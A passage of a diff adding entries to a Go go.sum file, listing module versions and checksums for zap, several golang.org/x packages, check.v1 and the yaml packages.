h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= +go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= +go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8= +golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o= +golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ= +golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY= +golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE= +golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8= +golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0= +golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=